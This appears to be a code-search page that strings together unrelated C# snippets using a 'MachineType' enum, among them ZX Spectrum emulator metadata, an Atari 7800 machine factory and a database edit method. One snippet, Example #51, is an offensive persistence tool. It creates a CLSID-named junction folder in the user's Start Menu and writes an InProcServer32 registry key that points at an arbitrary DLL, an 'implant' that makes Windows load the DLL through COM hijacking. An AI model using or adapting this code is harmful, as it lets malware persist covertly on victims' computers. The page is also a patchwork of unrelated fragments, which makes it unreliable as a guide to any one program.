                m.Released     = "1985 / 1986";
                m.CPU          = "Zilog Z80A @ 3.5469 MHz";
                m.Memory       = "32KB ROM / 128KB RAM";
                m.Video        = "ULA @ 7.0938MHz - PAL (50.01Hz Interrupt)";
                m.Audio        = "Beeper (HW 1ch. / 10oct.) & General Instruments AY-3-8912 PSG (3ch) - RF Output";
                m.Media        = "Cassette Tape (via 3rd party external tape player)";
                break;

            case MachineType.ZXSpectrum128Plus2:
                m.Name         = "Sinclair ZX Spectrum +2";
                m.Description  = "The first Sinclair Spectrum 128K machine that was released after Amstrad purchased Sinclair in 1986. ";
                m.Description += "Electronically it was almost identical to the 128, but with the addition of a built-in tape deck and 2 Sinclair Joystick ports.";
                m.Released     = "1986";
                m.CPU          = "Zilog Z80A @ 3.5469 MHz";
                m.Memory       = "32KB ROM / 128KB RAM";
                m.Video        = "ULA @ 7.0938MHz - PAL (50.01Hz Interrupt)";
                m.Audio        = "Beeper (HW 1ch. / 10oct.) & General Instruments AY-3-8912 PSG (3ch) - RF Output";
                m.Media        = "Cassette Tape (via built-in Datacorder)";
                break;

            case MachineType.ZXSpectrum128Plus2a:
                m.Name         = "Sinclair ZX Spectrum +2a";
                m.Description  = "The +2a looks almost identical to the +2 but is a variant of the +3 machine that was released the same year (except with the same built-in datacorder that the +2 had rather than a floppy drive). ";
                m.Description += "Memory paging again changed significantly and this (along with memory contention timing changes) caused more compatibility issues with some older games. ";
                m.Description += "Although functionally identical to the +3, it does not contain floppy disk controller.";
                m.Released     = "1987";
                m.CPU          = "Zilog Z80A @ 3.5469 MHz";
                m.Memory       = "64KB ROM / 128KB RAM";
                m.Video        = "ULA @ 7.0938MHz - PAL (50.01Hz Interrupt)";
                m.Audio        = "Beeper (HW 1ch. / 10oct.) & General Instruments AY-3-8912 PSG (3ch) - RF Output";
                m.Media        = "Cassette Tape (via built-in Datacorder)";
                break;

            case MachineType.ZXSpectrum128Plus3:
                m.Name         = "Sinclair ZX Spectrum +3";
                m.Description  = "Amstrad released the +3 the same year as the +2a, but it featured a built-in floppy drive rather than a datacorder. An external cassette player could still be connected though as in the older 48k models. ";
                m.Description += "Memory paging again changed significantly and this (along with memory contention timing changes) caused more compatibility issues with some older games. ";
                m.Description += "Currently ZXHawk does not emulate the floppy drive or floppy controller so the machine reports as a +2a on boot.";
                m.Released     = "1987";
                m.CPU          = "Zilog Z80A @ 3.5469 MHz";
                m.Memory       = "64KB ROM / 128KB RAM";
                m.Video        = "ULA @ 7.0938MHz - PAL (50.01Hz Interrupt)";
                m.Audio        = "Beeper (HW 1ch. / 10oct.) & General Instruments AY-3-8912 PSG (3ch) - RF Output";
                m.Media        = "3\" Floppy Disk (via built-in Floppy Drive)";
                break;
            }
            return(m);
        }
Example #50
0
        } // AddMachineType

        /// <summary>
        /// Редактирование элемента
        /// </summary>
        /// <param name="element">Редактируемый элемент</param>
        public async Task EditMachineType(MachineType element)
        {
            _context.Entry(element).State = EntityState.Modified;
            await _context.SaveChangesAsync();
        } // EditMachineType
Example #51
0
        static void Main(string[] args)
        {
            //string b64Dll = "TVqQ...";
            //byte[] dllBytes = Convert.FromBase64String(b64Dll);
            //File.WriteAllBytes(@"C:\temp\mydll.dll",)

            if (args.Length != 1)
            {
                Console.WriteLine("[-] Usage: JunctionFolder.exe <full path to DLL>");
                return;
            }
            if (!File.Exists(args[0]))
            {
                Console.WriteLine("[-] DLL does not appear to exist on the system. Did you provide the full path?");
                return;
            }

            if (!string.IsNullOrEmpty(Environment.GetEnvironmentVariable("PROCESSOR_ARCHITEW6432")))
            {
                Console.WriteLine("[+] Detected x86 system architecture.");
                osArch = "x86";
            }
            else
            {
                Console.WriteLine("[+] Detected x64 system architecture.");
                osArch = "x64";
            }

            MachineType type    = GetDllMachineType(args[0]);
            string      dllArch = null;

            if (type.Equals(MachineType.IMAGE_FILE_MACHINE_I386))
            {
                Console.WriteLine("[+] Detected DLL x86 DLL architecture");
                dllArch = "x86";
            }
            else if (type.Equals(MachineType.IMAGE_FILE_MACHINE_IA64) || type.Equals(MachineType.IMAGE_FILE_MACHINE_AMD64))
            {
                Console.WriteLine("[+] Detected DLL x64 DLL architecture");
                dllArch = "x64";
            }
            if (!dllArch.Equals(osArch))
            {
                Console.WriteLine("[-] Detected architecture mismatch. Make sure your DLL architecture matches the host's.");
                return;
            }

            //Create the junction folder
            string implantDir = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), @"Microsoft\Windows\Start Menu\Programs\Accessories\");
            string target     = implantDir + "Indexing." + guid;

            try
            {
                Directory.CreateDirectory(target);
            }
            catch (Exception e)
            {
                Console.WriteLine("[-] Unable to create the junction folder");
                Console.WriteLine(e);
                return;
            }
            Console.WriteLine("[+] Created junction folder at %APPDATA%/Indexing." + guid);

            //Set up the registry key
            string      dllPath = args[0];
            string      key     = @"SOFTWARE\Classes\CLSID\" + guid + @"\InProcServer32";
            RegistryKey regkey  = Registry.CurrentUser.CreateSubKey(key);

            try
            {
                regkey.SetValue("", dllPath);
                regkey.Close();
            }
            catch (Exception e)
            {
                Console.WriteLine("[-] Could not write the registry key");
                Console.WriteLine(e);
                return;
            }
            Console.WriteLine("[+] Registry key written");
        }
 private void UpdateMachineNotes(MachineType type)
 {
     textBoxMachineNotes.Text = AmstradCPC.CPCMachineMetaData.GetMetaString(type);
 }
Example #53
0
        /// <summary>
        /// Creates an instance of the specified machine.
        /// </summary>
        /// <param name="machineType"></param>
        /// <param name="cart"></param>
        /// <param name="bios">7800 BIOS, optional.</param>
        /// <param name="hsc">7800 High Score cart, optional.</param>
        /// <param name="p1">Left controller, optional.</param>
        /// <param name="p2">Right controller, optional.</param>
        /// <param name="logger"></param>
        /// <exception cref="ArgumentNullException">Cart must not be null.</exception>
        /// <exception cref="Emu7800Exception">Specified MachineType is unexpected.</exception>
        public static MachineBase Create(MachineType machineType, Cart cart, Bios7800 bios, HSC7800 hsc, Controller p1, Controller p2, ILogger logger)
        {
            if (cart == null)
                throw new ArgumentNullException("cart");

            MachineBase m;
            switch (machineType)
            {
                case MachineType.A2600NTSC:
                    m = new Machine2600NTSC(cart, logger);
                    break;
                case MachineType.A2600PAL:
                    m = new Machine2600PAL(cart, logger);
                    break;
                case MachineType.A7800NTSC:
                    m = new Machine7800NTSC(cart, bios, hsc, logger);
                    break;
                case MachineType.A7800PAL:
                    m = new Machine7800PAL(cart, bios, hsc, logger);
                    break;
                default:
                    throw new Emu7800Exception("Unexpected MachineType: " + machineType);
            }

            m.InputState.LeftControllerJack = p1;
            m.InputState.RightControllerJack = p2;

            m.Reset();

            return m;
        }
 public ProductionCycleLine(int nrOfIterations, MachineType machineType)
 {
     NrOfiterations = nrOfIterations;
     MachineTypeRequired = machineType;
 }